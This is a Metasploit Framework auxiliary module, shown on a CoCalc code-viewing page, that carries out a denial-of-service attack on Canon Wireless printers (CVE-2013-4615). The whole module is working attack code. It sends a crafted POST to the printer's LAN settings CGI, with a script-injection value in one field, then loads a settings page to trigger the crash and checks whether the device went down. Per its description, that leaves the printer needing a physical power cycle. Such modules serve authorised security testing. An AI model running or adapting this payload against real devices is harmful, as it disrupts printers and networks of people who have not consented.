CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/canon_wireless_printer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Canon Wireless Printer Denial Of Service',
13
'Description' => %q{
14
The HTTP management interface on several models of Canon Wireless printers
15
allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
16
if this module is successful, the device can only be recovered with a physical
17
power cycle.
18
},
19
'License' => MSF_LICENSE,
20
'Author' =>
21
[
22
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
23
],
24
'References' => [
25
[ 'CVE', '2013-4615' ],
26
[ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
27
],
28
'DisclosureDate' => '2013-06-18'))
29
end
30
31
def is_alive?
32
res = send_request_raw({
33
'method' => 'GET',
34
'uri' => '/',
35
},10)
36
37
return !res.nil?
38
end
39
40
def run
41
42
begin
43
44
# The first request will set the new IP
45
res = send_request_cgi({
46
'method' => 'POST',
47
'uri' => '/English/pages_MacUS/cgi_lan.cgi',
48
'data' => 'OK.x=61' +
49
'&OK.y=12' +
50
'&LAN_OPT1=2' +
51
'&LAN_TXT1=Wireless' +
52
'&LAN_OPT3=1' +
53
'&LAN_TXT21=192' +
54
'&LAN_TXT22=168' +
55
'&LAN_TXT23=1' +
56
'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
57
'&LAN_TXT31=255' +
58
'&LAN_TXT32=255' +
59
'&LAN_TXT33=255' +
60
'&LAN_TXT34=0' +
61
'&LAN_TXT41=192' +
62
'&LAN_TXT42=168' +
63
'&LAN_TXT43=1' +
64
'&LAN_TXT44=1' +
65
'&LAN_OPT2=4' +
66
'&LAN_OPT4=1' +
67
'&LAN_HID1=1'
68
})
69
70
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
71
print_error("Couldn't connect to #{rhost}:#{rport}")
72
return
73
end
74
75
# The second request will load the network options page, which seems to trigger the DoS
76
send_request_cgi({
77
'method' => 'GET',
78
'uri' => '/English/pages_MacUS/lan_set_content.html'
79
},5) #default timeout, we don't care about the response
80
81
# Check to see if it worked or not
82
if is_alive?
83
print_error("#{rhost}:#{rport} - Server is still alive")
84
else
85
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
86
end
87
88
end
89
end
90
91